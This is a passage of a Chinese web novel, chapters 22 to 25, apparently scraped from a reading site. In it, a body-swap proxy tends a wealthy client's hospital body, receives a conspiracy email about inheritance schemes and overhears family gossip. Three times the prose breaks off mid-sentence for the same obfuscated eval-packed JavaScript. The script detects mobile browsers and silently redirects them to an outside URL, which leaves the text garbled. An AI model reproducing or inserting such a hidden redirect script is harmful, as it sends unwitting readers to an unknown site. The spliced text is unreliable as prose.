“无所谓,以我这身体,任何时候死都不奇怪。” 这话听上去格外消极。 “呵呵,口是心非!”周拾秋讪笑道,“如果你真这么想,第一次见面我要杀你时,你就不会跟我讨价还价了。” 庾林闻言低头笑了,那笑容隐约之中透着一丝无奈与惆怅,声音低沉着呢喃自语:“是啊,求生是人类的本能,否则那时也不会……” 话说了半截,庾林便收了声,忽然抬起头,问:“乌鸦小姐,你与夜白鹭有什么关系?” 这问题出现得很突兀,周拾秋愣了愣神,眨着眼思考了片刻,敷衍道:“进化者撞异能了,很正常嘛。” “进化者这么容易拥有相同异能?”庾林追问。 周拾秋并不明白他提问的用意,继续胡诌:“控制系异能嘛,多多少少有些相似处。” 庾林陷入沉默,手指蜷曲抵着下巴,若有所思道:“也对……五年前,乌鸦小姐还未成年吧?” “嗯,十七,怎么了?” “没什么。”庾林突然终止了这个话题,转而对康管家道,“对面那间房让乌鸦小姐住,至于小洲,让他滚回学校。” “是。”康管家微笑着回应。 当周拾秋拎着背包走进2004病室时,她看到何洲被推出了2003病室。 何洲郁闷地求庾林让他留下,却被庾林用零花钱威胁,他一脸幽怨地回头望着周拾秋。 周拾秋忽然产生点罪恶感,好像自己横插一脚抢了何洲的陪护名额一般,只能厚着脸皮地冲何洲笑了笑,并用唇语安慰道:“有我在,你放心!” 何洲唉声叹气地离开了医院。 就在周拾秋住进陪护病房几个小时后,进研所的异能探测仪抵达佑民医院,并被悄悄藏在了VIP住院部进出口。 也意味着这个案子不结束,周拾秋将无法离开这栋大楼。 22. 第022章 在2004病室睡了一夜,翌日,周拾秋在一阵疼痛中清醒过来。睁开眼,她依然在VIP病房里,可床边站着个人影。 周拾秋吓得一激灵,稍微动一下,腹部传来拉扯的痛感,疼得她倒吸一口凉气,五官乱飞。 她捂着腹部缓了缓,手指触碰到结实的腹肌,立马意识到,庾林趁她睡着发动了意识切换。 康管家正站在床前,她刚想向康管家打听情况,确认庾林遇上了什么危机,忽然房中传来问话声。 “今天感觉如何?” 周拾秋循声望去,这间房间里多出一位医生和一位护士。 医生戴着口罩,留着寸头,看样子年纪和庾林差不多,胸口挂的名牌上写着“张信”。 周拾秋记得见过他一次,他就是庾林的主治医生,于是她模仿着庾林的口气回道:“不怎么样。” 张医生没有觉察出异样,周拾秋估计自己模仿得还算到位,忍不住心中一阵窃喜。 “今天需要做个全面检查,全程有杨护士陪同,你不用担心遗漏。”张医生一边与身旁护士核对着检查项目,一边漫不经心地对周拾秋说道。 周拾秋的视线落到护士身上。 庾林的房间里居然能允许女护士出现? 心中疑惑不已,她不太确定这位主治医生是否知晓庾林的秘密,因此也不知是否该出声拒绝。 好在康管家及时替她解围,“恐怕不合适。” 只是简单一句话,康管家便没有再继续说下去,反而静静地看着张医生,似乎是在等待他给出回应。 张医生皱着眉头,抿了抿双唇,露出一脸为难的表情,解释:“医院人手紧张,实在没法调用其他人,还请见谅。放心,我已经叮嘱杨护士保持社交距离,病人不喜欢过分的接近。” 杨护士闻言忙点头,戴着口罩的脸上溜出一丝红晕,细声细气地附和道:“嗯,是的,张主任详细地告诉了我病人的情况,我一定多加注意。” 康管家并不买账,态度强硬地说:“需要做哪些检查项目直接告诉我也一样。” 张医生笑呵呵地说:“还是让杨护士来吧,毕竟她对医院更熟悉,做起事来也能效率些。” 杨护士赶紧保证:“嗯,我一定不会让你们失望的。” 杨护士是个软萌的小妹妹,似乎尚在实习,与人说话很容易脸红,看上去格外可爱。 瞧她那样子,好像如果这次引导任务没做好,会对今后的职业生涯产生重大影响一样,所以她非常急切地想要表现出自己的能干。 周拾秋一时有些不忍心拒绝,便随口应道:“行吧,小妹妹工作也不容易,我配合就行。” “先生……”康管家欲言又止,可主人已经发了话,身为仿生人的他自然不能违背,所以最终将话吞了回去,只道了一句,“好的,那有劳杨护士。” 杨护士一听激动地点头回应,弯弯的眼睛看上去格外开心。 此时周拾秋万分同情庾林,即使面对这样软萌可爱的妹子,他也不得不冷着脸将人推出门去。 张医生稍微检查了庾林腹部的伤口情况,然后更换了包扎的纱布后,便离开了病房。 杨护士从病房储藏室内拿出轮椅,小心翼翼地整理好后,推到了床边,并打算伸手扶周拾秋下床。 周拾秋身子往后一缩,而康管家也及时拦住了杨护士的手。 “我来吧。” 康管家说着向周拾秋伸出手来。 周拾秋心中生出些疑云,扶着康管家的手挪下了床,然后缓缓坐上了轮椅。 从刚才的对话中,周拾秋能明显感觉出,张医生知晓庾林的秘密。 张医生说已经提前叮嘱过杨护士保持距离,而杨护士也说详细了解了庾林的情况,周拾秋下意识地认定,杨护士也知道了庾林的秘密。 可杨护士这一伸手,立刻改变了周拾秋对这件事的判断。 ——杨护士绝对不知道庾林的秘密。 在确定这个情况后,周拾秋便处处提防杨护士。一是保持人设,二是避免别人发现庾林切换了意识。 不过,现在这种情况下,周拾秋觉得张医生的行为有些耐人寻味。 他明知庾林的秘密,却硬推了一位女护士加入整个体检程序,虽然嘴上说得好像迫于无奈,可正如康管家所说,这件事也不是非要交给护士。 就算是为了减少VIP病人的麻烦,简单的护士调换,周拾秋觉得并不是那么困难的事。 杨护士按照规划的路线,指引康管家推着周拾秋去往大楼内每一个检查点,尽力不在路线上或者等待上浪费太多时间。 被推入电梯时,周拾秋瞥见一个格外熟悉的背影一闪而过,穿着打扮像极了她自己,甚至连发型都一致。 那个身影转进了楼梯间,周拾秋伸着脖子想要看清楚些,可杨护士上前一步按楼层键,恰好挡住了她的视线,等杨护士再靠边时,电梯门已经关闭。 “庾先生在找什么,需要我帮忙吗?” 张护士弯着腰,歪着头,盯着周拾秋,露出极具亲和力的笑,亲切地询问。 “没什么,眼花了。” 周拾秋胡乱应付了一句,随即收回视线,话锋一转,打探道,“关于我的情况,张医生怎么跟你说的?” 杨护士羞涩地低头道:“张医生说……庾先生对人冷淡,不爱搭理人,更不喜欢别人靠近……” “好家伙,没一句好话……” 虽然周拾秋自己心里也是这么想的,可身为主治医生,在知晓病人真实病情的情况下,还这样跟同事嚼舌根,她觉得多少有些私人恩怨在里头。 杨护士小脸通红,双手慌乱地在身前摆动,嘴里解释:“我绝对没有这么想!我觉得庾先生你人挺好的。” “挺好?我们应该不认识吧?”周拾秋好奇。 杨护士诚实回答:“算不上认识,不过庾先生经常来医院,我每次只是远远看见你,你似乎并不喜欢张医生以外的人靠近,有点神秘。” “呵,经常来医院,听着不太吉利……”周拾秋小事念叨一句,趁机又打听道,“张医生怎么会叫你来帮忙呢?医院里人手这么紧张吗?” “这个……我也不太清楚,反正听说张医生想借调人手,病人是庾先生,我就抱着试了试的想法,主动申请了。” “哦……” 周拾秋若有所思。 “庾先生有什么不满意的地方吗?”杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624655|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护士惴惴不安。 “没有!”周拾秋赶紧打断了她的多心。 “那就好。” 看杨护士娇羞的模样,让周拾秋想起了一个人。 她记得她用异能影响白馨,让白馨误以为自己喜欢庾林时,白馨看庾林的表情就和现在杨护士看庾林的表情差不多。 她心中产生一种不祥的预感,莫非又是一场孽缘? “呃……你可能不清楚我的人品,我对人冷淡,只是因为我平等地看不起所有人。” 周拾秋疯狂找补,想让小护士打消这种愁人的想法,毕竟在她眼中,喜欢上庾林应该是场悲剧。 就像一块带毒的蛋糕,只能看着流口水,却不能一口吃下去。 杨护士捂嘴偷笑:“庾先生真幽默。” 周拾秋故意阴阳怪气道:“呵呵,只有你会这么认为……” 被她这么一说,杨护士的小脸蛋更红了,半开着玩笑,细声问道:“我的存在比较特殊吗?” “哈哈,你更幽默!” 要不是腹部的疼痛时刻提醒着她有伤在身,周拾秋差点从轮椅上跳起来,尴尬的笑容僵在脸上,她感觉自己越描越黑。 “有逗你开心吗?”杨护士羞答答地笑了一声。 周拾秋立马用手堵住了嘴,她发誓绝对不再和杨护士多说一句。 她一直觉得自己挺大胆,今天见到杨护士,她甘拜下风。大概只有等庾林换回来,用他那招人厌烦的阴冷气质,彻底断了杨护士的念想。 花费了整整两小时,周拾秋才将需要检查的项目全部跑完。 她回到病房的第一件急事,便是冲向卫生间。 可她的手刚放到卫生间门把手上,康管家便立即出现,用手死死压住门,对周拾秋说道:“不好吧,乌鸦小姐终究是女孩子。” “那……我走?”周拾秋夹着腿,欲哭无泪地趴在门上。 康管家赶紧抬起她的手腕,冲她点点头。 于是周拾秋带着些不确定,在手环上发送了任务完成的申请。 眼前黑了一阵,再睁眼时,周拾秋感觉阳光有些刺眼,下意识抬手遮挡眼睛,却感觉什么硬物撞到脸上,冰凉又湿润。 勉强睁眼看清,她发现自己正坐在窗边,手里拿着个削完皮的苹果,而刀还扔在茶几上,旁边还多出一袋苹果。 周拾秋一手拿刀,一手拿苹果,在房间里来回转了三圈,记忆却在睡梦中断了线。 她最近几天总感觉怪怪的,像这样记忆混乱的情况已经出现了三回,并每次都是在自己完成危代委托后。 房中的一切与睡前差不多,除了莫名出现的一袋苹果,和现在手里握着的水果刀。周拾秋穿戴整齐,还未化妆,腿部传来些许酸胀感。 处处都透着古怪。 周拾秋边踱步边思考,在相信科学和相信鬼神之间,她选择了相信网友。 心中有了主意,周拾秋回到窗边坐下,拿出手机,登录危机管理局,打开危网,在聊天室里发送了一条消息。 【乌鸦:求问各位大神,有没有感觉做委托任务影响记忆力?】 然后,周拾秋晒着太阳,驱散从内而外的寒气,等待着一个可能的答案。 23. 第023章 依靠危机管理局谋生的人不在少数,一天二十四小时,基本随时都有人在线,毕竟委托人的任务有限,没有签订私危协议的危代人想要赚钱,必须时刻关注任务大厅。 周拾秋发出消息后不久,便收到了不少热心的回复,虽然大多都是嘲讽她的话。 【哈哈哈,被差评吓傻了?】 【说啥梦话喃,真逗。】 【意识传送会不会有副作用我不知道,但疑神疑鬼容易产生错觉。】 【别乱说,当心瑞总告你造谣……】 【噗,律师函警告。】 【哪里影响记忆了,我记忆力可太好了。】 …… 看到危网里讨论的话题逐渐偏离,周拾秋求知的心彻底死了,默默退出了聊天室。 正在这时,她收到了一条来自于陌生人的私信。 【神的指引:你说的情况也不是不可能。】 周拾秋心猛然一跳,好像看到了解除疑惑的希望,于是她赶紧追问。 【乌鸦:老师,你也遇到过?】 【神的指引:没有,不过你听说过危管的前身吗?】 【乌鸦:危管还有啥前身?】 【神的指引:等一下,这里不好说,给个邮箱,我发邮件你。】 周拾秋将信将疑,在好奇心的驱使下,给对方发送了邮箱地址,没过一会儿,她便收到了一封邮件。 点开邮件,只见附件里放着三张年代有些久远的截图。 第一张图是L453年,也就是距今十年前,瑞波恩科技发布的游戏宣传。 游戏名为:人生重启 宣传语为:“一边体验理想者的生活,一边躺着赚钱,你还在等什么?” 然后下面是经典的画大饼,详细介绍了玩家可以在游戏中体验到的内容,并且承诺会获得丰厚的现实奖励。 这些内容听上去似乎跟危机管理局十分相近,只是危机管理局不是游戏,而是真实的意识传送。 她接着点开第二张图,图上是一则新闻。 在《人生重启》这款全息游戏推出后,立马吸引了禁仿区内对自由区充满好奇的年轻人,以及试图以此赚钱的游手好闲之辈。 在游戏中,玩家扮演一位住在自由区的富人,而富人的身份皆由系统随机分配。 有的体验很长,有的体验很短。 有时甚至会因为在线人数过多而不得不排队等待。 这款游戏瞬间在全世界掀起热潮,当然也不乏争议。 随后她又点开了第三张图。 同样是一则新闻,距离第一张图的时间不过两个多月。 此时,针对《人生重启》这款游戏的舆论发生了翻天覆地的改变。 参与游戏的玩家发现了一些奇怪的现象,他们在游戏中并没有体验到瑞波恩宣传的所有大饼,而几乎所有的体验都是负面的,甚至有一些体验还具有危险性。 这些负面情绪和遭遇危机的紧张感,即使退出游戏,依然会残留在玩家的意识中。 两个多月后,游戏的不适感逐渐显现,瑞波恩科技遭到全方面抵制。 很快,瑞波恩科技做出回应,被迫下架了《人生重启》。 或许是因为玩家并没有实质上的损失,这件事就这么不了了之了。 随这三张图一起发送过来的,还有一封极具煽动力的信函,看上去应该是早就准备好的内容,不知群发过多少人。 信中宣传的是有关瑞波恩科技和危机管理局的阴谋论。 传闻危机管理局的“里人格项目”,隐藏着鲜为人知的秘密交易,只有极少的VIP客户才知道。 如果委托人遭遇到死亡危机时,可以提前向瑞波恩科技申请遗产继承,当身为里人格的危代人替委托人承受了死亡的痛苦后,将获得委托人的遗产继承权。 “死亡或许并不可怕,可怕的是死亡前的痛苦,而危代人的存在,即是代替委托人承受这些痛苦。” 这是瑞波恩的宣传理念。 在痛苦结束前,委托人的意识将寄宿在虚拟度假村,等到痛苦结束回到自己的身体,委托人需要面对的便只剩死亡了。 为了弥补死亡痛苦带给危代人的心理创伤,危代人将获得委托人的遗产继承权。 相当于用心理上的痛苦,换取下半生的衣食无忧。 这件事,其实周拾秋早有耳闻,至于能不能接受,那是另一回事。 可是信函的后半部分则挑明了这项秘密交易存在的阴谋。 他们认为,事实并非瑞波恩科技摆在明面上的那般公平,真正死去的可能根本就不是委托人,而是代替委托人承受痛苦的危代人。 最终回到危代人身体的意识也是委托人,然后通过遗产继承程序,委托人拿回自己的财产,并换了一个新身份和新身体继续生活下去。 遗产继承交易的本质,其实就是通过意识转移实现的永生。 周拾秋饶有兴致地看完信函,心中立马确认了私信人的真实身份。 除了暗魈组织,她想不出第二个散播阴谋论的人。 于是她又回到私信界面,继续带着求知的心理,发送了一条消息。 【乌鸦:所以这和我的记忆错乱有什么关系吗?】 【神的指引:你不觉得自己可能被盯上了吗?】 【乌鸦:委托人这么不挑食?】 【神的指引:……】 对方不再回话,交流就此终止。周拾秋估计对面的人很有挫败感,说不定已经对着屏幕破口大骂了。 她笑嘻嘻地关闭了私信界面,放弃了向网友求助的想法。 这些陈词滥调,周拾秋早就听得耳朵起茧了,因为她其实曾有一段时间帮暗魈做过事。 当时夜白鹭被通缉,她无法再使用危机管理局,可为了继续挖掘自己异能的潜力,她选择加入了暗魈,以逃亡者(即未被改造的进化者)的身份替暗魈做事。 当然,她并没有与暗魈组织直接接触,所以就算她站到暗魈组织的面前,他们也不会知道她是谁。 她只是在暗魈留下了一个代号——夜行蝠。 对于暗魈的这套阴谋论,周拾秋并不在意,因为她自认没人有能力跟她抢身体。 其实五年前也出现过这种情况。 当时,她在大火中提交了任务完成申请,可委托人拒绝了。 她收到的并非紧急委托,说明委托人并没有遇上生死存亡的危机,周拾秋便只当普通任务应对。谁知她一睁眼,发现自己置身火场,如果她没有异能,万不可能从火场逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636987|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生。 周拾秋自认有能力帮委托人摆脱危险,可如果委托人耍心眼,想让她承受死亡前的痛苦,她一万个不愿意。 她接委托的宗旨是应对危机,而不是承担痛苦和负面情绪。 因为委托人有意隐瞒,周拾秋那时很生气,于是用异能强行突破危机管理局的控制,返回了自己身体。 后来,的确听说那个委托人申请了财产继承,但因为案件涉及进化者,这份财产继承协议便作废了。 在听说了有关瑞波恩的阴谋论后,周拾秋曾怀疑自己差点成了牺牲品,可她终究是回到了自己身体,所以真相如何,无从查证。 如今再听人提起,周拾秋不由得思考起庾林想要与自己交换身体的可能性。 “直接连性别都换了是不是不太合理?” “不不不,何洲跟他推荐时,误会了我的性别,所以庾木木一开始不知道我性别为女。” “不是啊,你想他为啥要给我差评,封我的号呢?不就是知道性别不符合他要求,所以想换一个目标吗?” “错了,他知道我的性别是在给出差评和上门拜访后。” “好吧,就算他给差评只是单纯报复,但见面后,他发现心病对我免疫,会不会更觉得与我调换身体对他有利呢?” “没道理啊,如果他是因为不能接触异性而换身体,那跟我交换和以前有什么区别?一种是从心理上不能,一种是从生理上不能,没必要吧。” “你忘了,他随时可能没命,这才是重中之重!性别已经是其次了。” “啊,所以他才拼命帮我隐瞒身份呀,好你个庾木木。” 周拾秋看着邮件,自言自语,一会儿犹疑,一会儿肯定,最后打电话给齐绮,让齐绮帮忙跟023打听一下,庾林是否向瑞波恩申请了遗产继承。 在等待齐绮回话的空隙,周拾秋闲来无事,提上那袋苹果,准备去会一会白馨,向她打听点案件的细节。 结果到了楼下,才听说白馨已经出院了。 无奈之下,周拾秋只好给何洲发了条私信,让何洲帮忙向白馨打听一下情况,特别是在11月6日晚见庾林后,到11月9日晚袭击庾林之间,白馨具体发生过什么事,遇见过什么人。 在返回病房的路上,周拾秋听见20层的病人在公共娱乐室聊八卦,一时无聊,便偷偷凑了上去。 周拾秋提着那袋苹果进了娱乐室,轻手轻脚地走到了人群聚集处的隔壁空位上。放下口袋,她又去自助零食区给自己抓了些瓜子花生果脯,再泡上一杯茶,悠闲地坐下当个吃瓜群众。 只是她没想到吃瓜能吃到自己头上。 只听娱乐室里聚集的病人及家属有说有笑,就在当事人的面前嚼起了舌根。 “呵呵,谁家小秘书还到医院里陪护呀?” “怕不是想从秘书升级为夫人。” “年纪轻轻就想投机取巧,可笑。” “哪家大老板把情妇包养到医院来了?” “嘘,姓庾。” “真的?广臾集团的少爷?” “这是要一步登天,嫁入豪门哟。” “不过……那女娃不是守旧者吗?” “呵,庾家不是出过两区联姻的丑闻嘛!” …… 24. 第024章 对于这些流言蜚语,周拾秋原本并不在意,可听他们说什么豪门,说什么丑闻,她顿时来了兴趣。 广臾集团?这名字听上去有些耳熟。 周拾秋想了许久,才回想起两天前去拜访卓女士时,楚君曾给了两个提示——“自由区”与“广臾”。后来发生了太多事,她就将这件事给遗忘了。 于是一边听着隔壁的闲言碎语,周拾秋一边拿出手机查了这两个关键字。 然后,她震惊地发现了广臾集团在自由区的地位。 广臾集团的产业几乎涵盖了各个领域,自由区的衣食住行,无处不是广臾集团的身影。就连态宇仿生科技和佑民医院,都属于广臾集团的子产业。 而庾林,正是广臾集团董事长的独子。 再结合娱乐室里的八卦内容,周拾秋又知道了些更有意思的事。 原本庾林应该会成为广臾集团新一任的社长,可中间似乎发生了一些事故,庾林从大众眼前消失,甚至有谣言说广臾集团唯一的少爷死在了一场大火里。 庾家独女庾双,也就是庾家大小姐,代替庾林成为了广臾集团的社长。 直到三年前,庾家少爷的名字出现在态宇仿生科技的员工名单上,庾林才打破丧生谣言,重新回到大众视野。 不过,他似乎变得格外低调神秘,极少出现在公开场合。 并且,庾少爷至今单身。 不少门当户对的家族都想与庾家联姻,却不知怎的,庾家似乎对这位少爷的婚事不闻不问,甚至还三番五次拒绝了旁人的好意。 外界皆传:庾家少爷厌女,连与他接触的人都被要求了性别。 也正因如此,当周拾秋频繁出入庾林的病房时,引发了不小的舆论。 有人说:“庾家少爷之所以营造厌女人设,其实是爱上了禁仿区的女人。” 有人嘲笑道:“还真跟他爸一个样。” 然后话题便自然而然过渡到了庾家的丑闻上。 听闻当年庾林父亲也是不顾家族阻止,爱上了禁仿区的女人,死活要娶那女人进门,气得庾林的爷爷险些将庾林的父亲逐出家门。 这事闹了许久,最后庾林的爷爷妥协,让那女人弃了禁仿区的家人,转籍到自由区,然后才允许那女人进门。 那女人为了爱情竟还真的脱了籍,搬来人生地不熟的自由区,过上了与她格格不入的生活,即便许多年过去了,也融入不了其中。 有人说,禁仿区那女人就是为了钱。 也有人说出了另一版本的故事,而这个版本便是庾家的丑闻。 传说庾林母亲在禁仿区本就有情人,最终在庾林父亲逼迫下,才嫁到了自由区。 甚至有人说,庾林母亲肚子里怀的根本就不是庾家的种。 听着八卦越来越带有恶意,周拾秋适时地讥讽一句:“真的吗?你们有证据吗?造谣会遭报应哟。” 然后八卦的人终于发现了她的存在,不约而同闭上嘴,尴尬地相视一笑,灰溜溜地散了场。 不过他们的八卦内容却让周拾秋怀疑,庾林之所以一个人住在酒店里,是否当真因为这一层关系。可是这种问题太伤人,她没法去问,只好假装没听过,按死那颗好奇心。 然后转念一想,如果这些事都是真的,那不更说明庾林有改变身份的需求吗? 周拾秋不由得打了个寒颤。 等她若有所思地走出娱乐室时,齐绮打来了电话。 齐绮:“我找023问过了,有关财产继承协议的信息,只有更高级别的管理者才能获取。” 周拾秋:“所以023无法确认庾木木有没有签这份协议是吧?” 齐绮:“也不全是,如果庾先生有意追加协议,必定会通过023联系瑞波恩高层,反正023现在可以确定,庾先生没有跟他提过类似需求。” 周拾秋:“难道是我多心了?” 齐绮:“你又在胡思乱想什么?” 周拾秋:“啊,没事,我就想打听一下,万一庾木木死了,我能不能继承他的遗产,哈哈哈……” 齐绮:“大姐,你不会还想杀庾先生吧?疯了吧你!” 周拾秋:“没有,我跟你开玩笑呢。” 齐绮:“你最好是!对了,我从朝善寺求了两个平安符回来,下午给你送一个过去。” 周拾秋:“嗯嗯,我就知道我家绮绮对我最好了,爱你!我现在住2004病室,你直接到病房找我就行,现在楼下埋了雷,我不方便下楼。” 齐绮:“知道了。” 挂断电话,周拾秋觉得没必要自己吓自己,先看看靠迷信能不能解决问题。 走回2004病室时,恰好看到康管家在敲门,本以为庾林又要找麻烦,谁知康管家只是叫她到2003病室吃午饭而已。 大概受了阴谋论的影响,周拾秋虽然安慰自己不要多想,可总不免对庾林产生一点戒备心。她跟在康管家身后,带着疑心走进了对面病房。 房间里,庾林正坐在窗边餐桌用餐,听到关门声,随意瞥了一眼,然后阴阳怪气地问道:“乌鸦小姐挺习惯把别人身体当自己的用。” 周拾秋不明白庾林又在找什么茬,一想到庾林可能不怀好意,她的语气就自然带了点争锋相对的味道,“那可比不上庾先生,想把别人身体占为己有。” 庾林愣住了,注视着周拾秋的眼睛,眼底一片迷茫。 周拾秋昂首挺胸走上前去,一副扪心无愧的模样,心安理得坐到庾林对面,视线落在一桌的饭菜上,并不在意庾林的视线。 庾林盯了周拾秋好一会儿,然后低笑一声,问:“乌鸦小姐这么大能耐,还能害怕我对你不利?” “不是害怕,只是单纯讨厌而已,我不喜欢被背刺,如果谁敢背刺我,我绝不会让他好过。”周拾秋抬起眼眸,眼神带着瘆人的气息,语气强硬。 五年前有委托人背刺她,最终被她留在了火场里。如果庾林真的想对她的身体动歪心思,她一定会让庾林后悔。 庾林瞳孔微微一震,吞咽使喉结上下滚动,愣了许久才疑惑地开口:“我好像……没有害你的想法……” “没有最好。”周拾秋并不相信庾林的这句话,但还是收敛起一身戾气,将注意力放回吃饭上,漫不经心地问道,“你早上换我过来干嘛?我相信康管家足以防住杨护士。” 见周拾秋没有再竖起浑身的尖刺,庾林松了一口气,回道:“不想把时间浪费在检查上。” 筷子差点从周拾秋手里滑落,她及时握住,并狠狠插进了碗里,气恼地说:“你倒是可以去度假村享受,我连睡个懒觉的权力都没了?” 庾林微微勾起嘴角,没有抬头,“度假村吗?也没好到哪儿去。” “啧。”周拾秋露出不满的神情,“有钱人就爱挑刺,真正受苦的又不是你好吧?真觉得不好,求你安心留在身体里,我人就在隔壁,需要帮忙,你可以让康管家叫我一声,把委托留给真正遇到危机时行不?” 庾林握拳抵在唇边,低头轻咳两声,眼神带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654265|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着试探,说:“怎么办,下午我还会发布委托。” 周拾秋感觉面前的饭菜都不香了,警惕地注视着庾林,问:“你又打算干嘛?” 庾林似笑非笑道:“度假村虽然不咋样,但好歹行动自如,下午有输液安排,乌鸦小姐,这个忙好像不是到隔壁叫你就能帮。” 周拾秋一时语塞,没想到自己也有这一天,沦为委托人负面情绪的垃圾桶。 比起应对危机,像这种代替委托人承受负面情绪的任务,更让周拾秋觉得折磨。 以前她在任务大厅接取任务的时候,大多不会选择这种任务。 比如生孩子、坐月子、坐牢、做手术等任务,更有甚者,直接让危代人帮忙度过更年期。 总之任务五花八门,但最终的结果都是折磨。 谁让私危任务没有选择的余地呢? 周拾秋对着天花板长叹一口气,然后狠狠往嘴里塞食物,欲哭无泪地发出一声由衷的感叹:“好家伙,两百万还真不白花啊……” 吃完午饭后,周拾秋气呼呼地返回2004病室,一脸郁闷地躺倒在床上,像一条被海浪拍打上岸的鱼,等待着死神的降临。 约莫过了半个小时,手环上的白光如期而至,周拾秋在哀叹声中逐渐失去意识,然后下一秒,在2003病室睁开了眼。 面前除了康管家,还有杨护士正在床边挂着输液袋。 周拾秋生无可恋地平躺在床上,想象着庾林此刻正在虚拟度假村里狂欢,自己却要得帮他躺在床上输液,心里越想越不平衡。 “杨护士,请问我需要输几天液啊?不输不行吗?我觉得我这身体都可以出院了。” 周拾秋刚想要坐起身,向杨护士展示一下庾林身体恢复的情况,结果动到腹部伤口,疼得她倒吸一口凉气,急忙又躺了回去。 杨护士见状掩嘴偷笑:“输三天看看情况,如果伤口愈合情况良好,就不用输液了,庾先生心脏情况本来也不太好,增强身体抵抗力总没有坏处。” 听到“三天”两个字,周拾秋眼前一黑,已经可以预想到接下来的悲催生活了,她重重叹了口气。 因为不需要临时扎针,所以杨护士不会碰触庾林,这让周拾秋暂时放下心来,只有康管家还一脸紧张地留意着杨护士的动作,准备随时上前阻拦。 周拾秋好奇问:“今天也调不出人手?又是张医生让你来帮忙的?” “办公室里的同事也不是很忙,但张医生说我做得不错,让我一直帮忙到庾先生出院。”杨护士腼腆地回话,又小心补充一句,“庾先生如果觉得我哪里做得不好,可以直接告诉我。” “没有,挺好的。” 周拾秋实在狠不下心替庾林做恶人,只好敷衍地回答。 即便这样,杨护士依然眉开眼笑,就好像得到了心悦之人的夸赞一般。 周拾秋觉得下次得提醒庾林,他多了一个小迷妹,好歹得让二人见上一面,等小护士看清庾林的真面目,早早死心,也算做了一件善事。 杨护士没有在病房中停留太久,做完手上的事后,便离开了病房,出门时还叮嘱,如果有什么事,可以按下床头的呼叫铃。 周拾秋只能回以微笑。 在床上躺得百无聊赖,周拾秋本想拿手机看看何洲回消息了没,然后才想起床头柜上放着的不是自己的手机。 手机安静地躺在那里,却像是有一种魔力在召唤。 拿起手机,一个邪恶的念头一闪而过,周拾秋又想给庾林添点堵。 25. 第025章 面容解锁屏幕后,出现在眼前的是日出风景壁纸,除了危机管理局,几乎没有其他社交软件,剩余软件大多与工作相关,一眼就能看出这个人的生活有多枯燥。 周拾秋翻开了通讯录,想将里面储存的名字全部改乱掉,却发现里面只存了三个号码:庾双、何洲和康管家。 “救命,庾木木平时一点都不社交吗?”周拾秋掐着人中,对着康管家吐槽道。 康管家微微一笑:“庾先生很少出门。” “呵呵,工作也不需要沟通吗?”周拾秋一脸无语。 康管家语气平淡:“工作一般都是我代为传达,如果真有需要庾先生亲自沟通的情况,他会用我的手机联系公司。” “因为心病?” 周拾秋觉得这种生活方式很难评,就算不能与异性接触,也没有理由完全不社交。 康管家欲言又止,最终只回了句:“也许吧。” “那他会不会想过一种不一样的生活?”周拾秋小心翼翼试探。 康管家转着眼珠思考片刻,不确定地点了点头:“应该会吧。” 周拾秋知道,想从康管家口中套出所有的秘密,并不是一件容易的事。他的思维模式是庾林设定好的,什么事都会优先为庾林考虑,在话说出口前,会先通过一层滤网,判断能说还是不能说。 周拾秋放弃了打探,但没有放弃捣乱,她重新解锁手机,将自己的手机号码录入了通讯录,名字标注为“最伟大的危代人”。 既然是庾林不喜欢的事,那做了一定能惹庾林生气,想一想,她就觉得赚了。 一阵偷笑后,周拾秋还给自己拨了一通电话,这样等她回到身体,还能知道庾林的手机号,这样以后想要联系这位麻烦的危代人,就不用时刻盯着危网私信的状态了。 做完这些事,周拾秋心安理得地睡了过去。 恍惚间,周拾秋又走进了那间被大火包围的房子,这一次不是作为里人格,而是她自己。 地板上躺着三具烧焦的尸体,只有被绑的人质在地上苦苦挣扎,绝望地寻找着出口。 他的嘴被布条绑住,说不出话,只能发出意义不明的叫声。当他看到周拾秋时,绝望的眼神中忽然亮起了一道光,比火光更炽热。 这一回,周拾秋看清了男人的脸,哪里还是当初那个小哥哥,分明就是庾林。 一丝幸灾乐祸在心底荡漾开来,火光在她眼中染上一层疯狂,周拾秋缓缓走到庾林面前,用脚尖踢了踢庾林的脸,笑声张扬:“有钱也救不了自己的命,很难受吧?” 终于以一种居高临下的姿态俯视着庾林,心中弥漫出异样的愉悦感,她俯下身,一只手揪住庾林的头发,强制将庾林的脑袋抬起,一只手肆意地抚摸着庾林的脸。 “你这身体我倒是喜欢,可惜我不喜欢你这个人。” 指腹划过脸颊,绑住嘴的布条自动脱落,周拾秋的手缓缓下移,覆上柔软却有些干涸的唇。 